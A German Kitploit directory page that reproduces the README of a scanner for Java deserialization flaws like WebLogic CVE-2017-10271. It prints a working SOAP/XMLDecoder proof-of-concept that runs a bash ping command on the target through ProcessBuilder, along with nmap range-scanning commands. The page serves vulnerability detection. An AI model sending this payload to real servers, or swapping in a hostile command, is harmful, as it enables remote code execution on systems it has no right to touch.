Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
JavaDeserialization — Ein Java-Deserialisierungs-Schwachstellenscanner für ähnliche Schwachstellen wie CVE-2017-10271 | Kitploit
Tools/GitHubGitHub/etocheney/javadeserialization
SchwachstellenscannerNetzwerkkartierungPayload-GenerierungPort-ScanningExploitationWebanwendungs-Exploitation
GitHubetocheney/javadeserialization

JavaDeserialization

Ein Java-Deserialisierungs-Schwachstellenscanner für ähnliche Schwachstellen wie CVE-2017-10271

Repository anzeigen
9127vor 7 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Java-Deserialisierung-Schwachstellen-Erkennung

Ein Scanner für Java-Deserialisierungs-Schwachstellen wie CVE-2017-10271. Dieses Projekt enthält nur einen PoC (Proof of Concept); weitere wurden vorerst nicht aufbereitet.

Installation

  1. nmap installieren

    ​ https://nmap.org/download.html – Je nach Betriebssystem die entsprechende Version herunterladen und installieren.

  2. Drittanbieter-Pakete installieren

    pip install -r requirements.txt

  3. Scannen

    Ändern Sie im PoC die IP-Adresse im Ping-Befehl in Ihre eigene IP-Adresse.

    Ändern Sie den Sniff-Code in Zeile 25

    sniff(filter='icmp and yourIP',prn=packet_callback)
    

    java_scan.py -i IP-Adresse [Optionen] java_scan.py -h für Hilfe

Verwendung

1. PoC

Vor der Verwendung muss der PoC geändert werden: Die IP-Adresse im Ping-Befehl muss durch Ihre eigene IP-Adresse ersetzt werden.

Der PoC besteht aus zwei JSON-Dateien, eine für Windows und eine für Linux (derzeit gibt es keine Funktion zur Angabe des PoC-Pfades; diese Funktion wird in einer zukünftigen Version hinzugefügt). Bitte benennen Sie die PoC-Dateien im Programmverzeichnis als poc.json und poc_win.json.

Über das PoC-Format (Linux-Version, Windows-Version ähnlich)

{
  "url":"wls-wsat/CoordinatorPortType",
  "header": "Content-Type:text/xml",
  "data": [
    "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
        "<soapenv:Header>",
            "<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
               "<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
                    "<void class='java.lang.ProcessBuilder'>",
                        "<array class='java.lang.String' length='3'>",
                            "<void index='0'>",
                                "<string>/bin/bash</string>",
                            "</void>",
                            "<void index='1'>",
                                "<string>-c</string>",
                            "</void>",
                            "<void index='2'>",
                                "<string>ping 10.60.18.5 -c 2</string>",
                            "</void>",
                        "</array>",
                    "<void method='start'/></void>",
                "</java>",
            "</work:WorkContext>",
        "</soapenv:Header>",
        "<soapenv:Body/>",
    "</soapenv:Envelope>"
  ]
}

url gibt das Verzeichnis für die Schwachstellenausnutzung an, header gibt den neu hinzugefügten Header des POST-Pakets an, data sind die zu sendenden serialisierten Inhalte.

Achtung: Dieser PoC sendet 2 Ping-Pakete an das anfällige System. Die Schwachstelle wird nur als vorhanden erkannt, wenn das Programm ICMP-Pakete empfängt.

2. Mit nmap das LAN scannen

Standardmäßig ruft das Programm nmap auf, um das LAN zu scannen.

java_scan.py -i 192.168.0.1

Dieser Scan prüft den Port 7001 des Hosts 192.168.0.1.

3. IP und Port angeben

Einzelne IP und Port angeben:

java_scan.py -i 192.168.0.1 -p 7001

Mehrere IPs und Ports angeben:

java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001

IP-Bereich und Port-Bereich angeben:

java_scan.py -i 192.168.0.1-255 -p 7000-8000

4. Schnelle Offen-Port-Erkennung

Mit dem Parameter -f wird Socket zur schnellen Port-Erkennung verwendet:

java_scan.py -i 192.168.0.1-255 -p 7001 -f

Anzahl der Threads für die schnelle Port-Erkennung angeben:

java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100

5. Ergebnis

effect

Tool herunterladen